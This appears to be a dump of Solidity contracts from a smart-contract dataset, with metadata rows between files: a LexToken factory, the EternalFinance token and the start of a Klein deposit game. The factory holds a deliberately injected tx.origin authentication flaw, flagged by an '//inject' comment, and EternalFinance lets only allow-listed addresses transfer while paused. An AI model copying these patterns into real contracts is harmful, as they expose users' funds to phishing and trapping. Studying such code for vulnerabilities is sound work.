mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract LexDAORole is Context {
using Roles for Roles.Role;
event LexDAOAdded(address indexed account);
event LexDAORemoved(address indexed account);
Roles.Role private _lexDAOs;
modifier onlyLexDAO() {
require(isLexDAO(_msgSender()), "LexDAORole: caller does not have the LexDAO role");
_;
}
function isLexDAO(address account) public view returns (bool) {
return _lexDAOs.has(account);
}
function addLexDAO(address account) public onlyLexDAO {
_addLexDAO(account);
}
function renounceLexDAO() public {
_removeLexDAO(_msgSender());
}
function _addLexDAO(address account) internal {
_lexDAOs.add(account);
emit LexDAOAdded(account);
}
function _removeLexDAO(address account) internal {
_lexDAOs.remove(account);
emit LexDAORemoved(account);
}
}
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract PauserRole is Context {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
modifier onlyPauser() {
require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(_msgSender());
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal { }
}
contract ERC20Burnable is ERC20 {
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
contract ERC20Capped is ERC20 {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0, "ERC20Capped: cap is 0");
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) { // When minting tokens
require(totalSupply().add(amount) <= _cap, "ERC20Capped: cap exceeded");
}
}
}
contract ERC20Mintable is MinterRole, ERC20 {
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
contract ERC20Pausable is Pausable, ERC20 {
function _beforeTokenTransfer(address from, address to, uint256 amount) internal {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
}
interface IUniswap { // brief interface to call Uniswap exchange protocol (. . .)
function createExchange(address token) external returns (address payable);
function getExchange(address token) external view returns (address payable);
}
contract LexToken is LexDAORole, ERC20Burnable, ERC20Capped, ERC20Mintable, ERC20Pausable {
// contextualizes token deployment and offered terms, if any
string public stamp;
bool public certified;
// Uniswap exchange protocol references
IUniswap private uniswapFactory = IUniswap(0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95);
address public uniswapExchange;
constructor (string memory name,
string memory symbol,
string memory _stamp,
uint8 decimals,
uint256 cap,
uint256 initialSupply,
address owner,
address _lexDAO,
bool _certified) public
ERC20(name, symbol)
ERC20Capped(cap) {
stamp = _stamp;
certified = _certified;
uniswapFactory.createExchange(address(this));
address _uniswapExchange = uniswapFactory.getExchange(address(this));
uniswapExchange = _uniswapExchange;
_addLexDAO(_lexDAO);
_addMinter(owner);
_addPauser(owner);
_mint(owner, initialSupply);
_setupDecimals(decimals);
}
function lexDAOburn(address account, uint256 amount) public onlyLexDAO {
_burn(account, amount); // lexDAO governance reduces token balance
}
function lexDAOcertify(bool _certified) public onlyLexDAO {
certified = _certified; // lexDAO governance maintains token contract certification
}
function lexDAOmint(address account, uint256 amount) public onlyLexDAO {
_mint(account, amount); // lexDAO governance increases token balance
}
function lexDAOtransfer(address from, address to, uint256 amount) public onlyLexDAO {
_transfer(from, to, amount); // lexDAO governance transfers token balance
}
}
contract LexTokenFactory {
// presented by OpenESQ || lexDAO LLC ~ Use at own risk!
uint8 public version = 3;
// factory settings
string public stamp;
uint256 public factoryFee;
address public deployer;
address payable public _lexDAO;
bool public _certified;
bool public gated;
LexToken private LT;
address[] public tokens;
event CertificationUpdated(bool indexed updatedCertification);
event FactoryFeeUpdated(uint256 indexed updatedFactoryFee);
event LexDAOPaid(string indexed details, uint256 indexed payment);
event LexDAOUpdated(address indexed updatedLexDAO);
event LexTokenDeployed(address indexed LT, address indexed owner);
constructor (string memory _stamp,
uint256 _factoryFee,
address _deployer,
address payable lexDAO,
bool certified,
bool _gated) public
{
stamp = _stamp;
factoryFee = _factoryFee;
deployer = _deployer;
_lexDAO = lexDAO;
_certified = certified;
gated = _gated;
}
function newLexToken(// public can issue stamped lex token for factory ether (1) fee
string memory name,
string memory symbol,
string memory _stamp,
uint8 decimals,
uint256 cap,
uint256 initialSupply,
address owner) payable public {
require(msg.value == factoryFee);
require(_lexDAO != address(0));
if (gated == true) {
require(tx.origin == deployer); // function restricted to deployer if gated factory //inject USING TX ORIGIN FOR AUTHENTICATION
}
LT = new LexToken(name,
symbol,
_stamp,
decimals,
cap,
initialSupply,
owner,
_lexDAO,
_certified);
tokens.push(address(LT));
address(_lexDAO).transfer(msg.value);
emit LexTokenDeployed(address(LT), owner);
}
function getLexTokenCount() public view returns (uint256 LexTokenCount) {
return tokens.length;
}
function payLexDAO(string memory details) payable public {
_lexDAO.transfer(msg.value);
emit LexDAOPaid(details, msg.value);
}
function updateCertification(bool updatedCertification) public {
require(msg.sender == _lexDAO);
_certified = updatedCertification;
emit CertificationUpdated(updatedCertification);
}
function updateFactoryFee(uint256 updatedFactoryFee) public {
require(msg.sender == _lexDAO);
factoryFee = updatedFactoryFee;
emit FactoryFeeUpdated(updatedFactoryFee);
}
function updateLexDAO(address payable updatedLexDAO) public {
require(msg.sender == _lexDAO);
_lexDAO = updatedLexDAO;
emit LexDAOUpdated(updatedLexDAO);
}
}
| 279,123 | 11,760 |
693c59e5b6913492f7bec02c432f82646dd6057730d04991cf43889d04555c0b
| 29,515 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/d2/D2f50a90de80ac9B80037183eF65B1E0E1e05a41_EternalFinance.sol
| 5,210 | 18,758 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract EternalFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Eternal Finance';
string private constant _symbol = 'ETERNAL';
uint256 private _taxFee = 0;
uint256 private _burnFee = 0;
uint public max_tx_size = 10000000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x3f758cEC8e4c1B813AfCB993E395a77C98Cf2a9E, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 329,128 | 11,761 |
92fbd0f16de9c07c415291c748183d848b93c0a66872a8f5c98cb5334455dee9
| 27,227 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TF/TF9itYW9rh4NoguAmrXpPHfLDtwECAv7sC_Klein.sol
| 7,525 | 25,935 |
//SourceUnit: Klein.sol
pragma solidity >=0.4.22 <0.7.0;
/// @title KleinGame
contract Klein {
struct Player{
address payable addr;
address payable recommender_addr;
uint256 amount;//total deposit
uint256 prepare_balance;
uint256 released_amount;
uint256 static_in_released_amount;
uint256 total_released;
uint last_ts;
uint last_days;
uint is_cvip;
uint256 burn_amount;
uint cvip_num;
uint recommend_num;
uint256 wait_award;
}
uint firstDepositTS;
address[] public addressIndices;
//all players
mapping(address => Player) public players;
//seven admin
address payable admin1_27;
address payable admin2_14_5;
address payable admin3_14_5;
address payable admin4_14_5;
address payable admin5_14_5;
address payable admin6_5;
address payable admin7_5;
address payable admin8_5;
address payable insure_address;
address contract_owner;
uint256 history_top_balance;
uint256 total_balance;
uint256 insure_balance;
uint256 top_award_balance_1;
uint256 top_award_balance_7;
uint constructor_ts;
uint day_in_low_release;
uint s;
constructor(address payable admin1_addr,
address payable admin2_addr,
address payable admin3_addr,
address payable admin4_addr,
address payable admin5_addr,
address payable admin6_addr,
address payable admin7_addr,
address payable admin8_addr,
address payable insure_addr) payable public{
if(contract_owner!=address(0)){
return;
}
contract_owner=msg.sender;
insure_address=insure_addr;
admin1_27=admin1_addr;
admin2_14_5=admin2_addr;
admin3_14_5=admin3_addr;
admin4_14_5=admin4_addr;
admin5_14_5=admin5_addr;
admin6_5=admin6_addr;
admin7_5=admin7_addr;
admin8_5=admin8_addr;
history_top_balance=0;
total_balance=0;
s=1000000;
insure_balance=0;
top_award_balance_1=0;
top_award_balance_7=0;
constructor_ts=now;
day_in_low_release=0;
}
function globalinfo() public view returns(uint256 _history_top_balance,uint256 _total_balance,uint256 _insure_balance,uint256 _top_award_balance_1,uint256 _top_award_balance_7,uint _total_address){
_history_top_balance = history_top_balance;
_total_balance = total_balance;
_insure_balance = insure_balance;
_top_award_balance_1 = top_award_balance_1;
_top_award_balance_7 = top_award_balance_7;
_total_address=addressIndices.length;
}
function myinfo() public view returns (address addr,uint amount,uint prepare_balance,
uint released_amount,uint total_released,uint last_ts,uint last_days,uint is_cvip,uint burn_amount,uint cvip_num,uint recommend_num,uint wait_award){
addr = players[msg.sender].recommender_addr;
amount = players[msg.sender].amount;
prepare_balance = players[msg.sender].prepare_balance;
released_amount=players[msg.sender].released_amount;
total_released=players[msg.sender].total_released;
last_ts=players[msg.sender].last_ts;
last_days=players[msg.sender].last_days;
is_cvip=players[msg.sender].is_cvip;
burn_amount=players[msg.sender].burn_amount;
cvip_num=players[msg.sender].cvip_num;
recommend_num=players[msg.sender].recommend_num;
wait_award=players[msg.sender].wait_award;
//team_num=teams[msg.sender].num;
//team_amount=teams[msg.sender].amount;
}
//coin => contract
event Deposit(address indexed recommender_addr, uint _value);
function deposit(address payable recommender_addr) public payable returns (uint256){
require(msg.sender!=recommender_addr,
"Can not recommend self.");
require(msg.value >= 1000 * s,
